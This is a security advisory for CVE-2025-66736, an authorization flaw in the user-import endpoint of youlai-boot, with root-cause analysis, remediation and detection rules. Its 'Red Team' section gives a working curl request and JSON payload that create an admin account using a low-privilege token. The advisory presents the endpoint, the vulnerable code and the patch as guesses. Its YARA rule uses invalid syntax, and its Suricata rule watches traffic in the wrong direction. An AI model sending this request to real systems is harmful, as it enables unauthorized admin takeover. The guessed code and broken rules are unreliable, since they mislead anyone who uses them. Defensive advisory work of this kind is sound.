CVE-2025-66736

Executive Summary

CVE-2025-66736 is an Incorrect Access Control vulnerability in the youlai-boot application, version V2.21.1. The flaw resides in the SysUserController.java file, specifically within the importUsers function. This function fails to perform a necessary permission check on the current user's identity, allowing any authenticated user, regardless of their role (e.g., regular user), to import user data into the database. This constitutes an authorization bypass vulnerability, enabling privilege escalation and unauthorized data manipulation.

The vulnerability is classified under CWE-862 (Missing Authorization). The CVSS v3.1 vector is AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N, resulting in a base score of 5.4 (Medium). The attack vector is network-based, requires low complexity, and low privileges, with no user interaction needed. The impact is limited to low confidentiality and integrity, with no availability impact.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in a Java/Spring Boot application. The risk is primarily to the application's internal authorization logic.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low (L) - An attacker needs valid low-privileged user credentials.
• User Interaction (UI): None (N) - No user action is required for exploitation.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - Limited unauthorized access to user data is possible.
• Integrity (I): Low (L) - Limited unauthorized modification of user data is possible.
• Availability (A): None (N) - No impact on system availability.

Base Score: 5.4 (Medium)

Threat Level: Medium. While the CVSS score is medium, the ability for a low-privileged user to import arbitrary user data can be a stepping stone for further attacks, such as creating admin accounts or data poisoning.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Function-Level Access Control. In Spring Boot applications, access control is typically enforced using annotations like @PreAuthorize or @Secured on controller methods. The importUsers function in SysUserController.java lacks such an annotation, meaning it is accessible to any authenticated user.

Attack Flow:

1. An attacker authenticates as a regular user (e.g., user role).
2. The attacker identifies the endpoint for user import, likely a POST request to /sys/user/import or similar.
3. The attacker crafts a request with a payload containing user data (e.g., JSON or CSV) that includes an admin-level user.
4. The server processes the request without checking if the current user has the ADMIN or USER_IMPORT permission.
5. The attacker's crafted user data is inserted into the database, potentially creating a new admin account.

Root Cause: The importUsers method does not have a Spring Security annotation (e.g., @PreAuthorize("hasRole('ADMIN')")) or a manual permission check (e.g., SecurityUtils.hasPermission(...)).

Vulnerable vs. Patched Code

Vulnerable Code (V2.21.1):

// SysUserController.java
@PostMapping("/import")
public Result importUsers(@RequestBody List<SysUser> userList) {
    // No permission check here
    sysUserService.importUsers(userList);
    return Result.success();
}

Patched Code (Hypothetical):

// SysUserController.java
@PostMapping("/import")
@PreAuthorize("hasRole('ADMIN')")
public Result importUsers(@RequestBody List<SysUser> userList) {
    sysUserService.importUsers(userList);
    return Result.success();
}

The patch adds the @PreAuthorize("hasRole('ADMIN')") annotation to restrict access to users with the ADMIN role. Alternatively, a manual check could be implemented:

if (!SecurityUtils.hasRole("ADMIN")) {
    return Result.error("Access denied");
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of youlai-boot V2.21.1.
• Valid credentials for a low-privileged user (e.g., user:password).

Exploit Steps:

1. Authenticate: Obtain a session token or JWT for the low-privileged user.
2. Identify Endpoint: The import endpoint is likely /sys/user/import (POST).
3. Craft Payload: Create a JSON payload containing a new admin user.

   [
     {
       "username": "hacker_admin",
       "password": "P@ssw0rd!",
       "role": "ADMIN"
     }
   ]
   

4. Send Request:

   curl -X POST https://target.com/sys/user/import \
     -H "Authorization: Bearer <low_priv_token>" \
     -H "Content-Type: application/json" \
     -d '[{"username":"hacker_admin","password":"P@ssw0rd!","role":"ADMIN"}]'
   

5. Verify: Log in with the new admin credentials to confirm privilege escalation.

Expected Result: The server returns a success response, and the new admin user is created.

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /sys/user/import from non-admin users.
• Alert on any user creation activity that originates from a low-privileged session.
• Review application logs for importUsers calls without prior admin authorization checks.

Defense:

• Immediately apply the patch by adding @PreAuthorize to the importUsers method.
• Implement a Web Application Firewall (WAF) rule to block requests to /sys/user/import from users without the admin role.
• Conduct a code review of all controller methods to ensure proper authorization checks are in place.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /sys/user/import with a JSON body containing user data.
  • Unusual user creation events in application logs.
• Host:
  • New user accounts in the database that were not created through the normal admin interface.
  • Log entries showing importUsers method calls from unexpected user IDs.
• Application:
  • Presence of unauthorized admin accounts.
  • Anomalous API calls from low-privileged users.

Detection Engineering

YARA Rule

rule CVE_2025_66736_ImportUsers_NoAuth {
    meta:
        description = "Detects vulnerable youlai-boot SysUserController.importUsers method without authorization"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66736"
        severity = "medium"
    strings:
        $s1 = "importUsers" nocase
        $s2 = "SysUserController" nocase
        $s3 = "@PostMapping" nocase
        $s4 = "/import" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and not ($s1 contains "@PreAuthorize" or $s1 contains "hasRole")
}

Sigma Rule

title: CVE-2025-66736 - Unauthorized User Import in youlai-boot
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /sys/user/import from non-admin users
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66736
logsource:
    category: web
    product: youlai-boot
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /sys/user/import
    filter:
        cs-username|re: ^admin
    condition: selection and not filter
falsepositives:
    - Legitimate admin users performing imports
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-66736 - Unauthorized User Import Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/sys/user/import"; http_uri;
    content:"username"; http_client_body;
    content:"password"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-66736;
    classtype:attempted-admin;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Patch the Code: Add @PreAuthorize("hasRole('ADMIN')") to the importUsers method in SysUserController.java.
2. Restrict Access: If patching is not immediately possible, restrict network access to the /sys/user/import endpoint using a reverse proxy or WAF.
3. Audit Users: Review the user database for any unauthorized accounts that may have been created.

Long-Term Fixes:

• Implement a centralized authorization framework (e.g., Spring Security method-level security).
• Conduct a full security audit of all controller methods for missing authorization checks.
• Enable logging and monitoring for all user management operations.

Workarounds:

• Disable the import functionality entirely by removing the endpoint mapping.
• Implement a manual permission check in the method body as a temporary fix.

Valters IT
Securing Digital Frontiers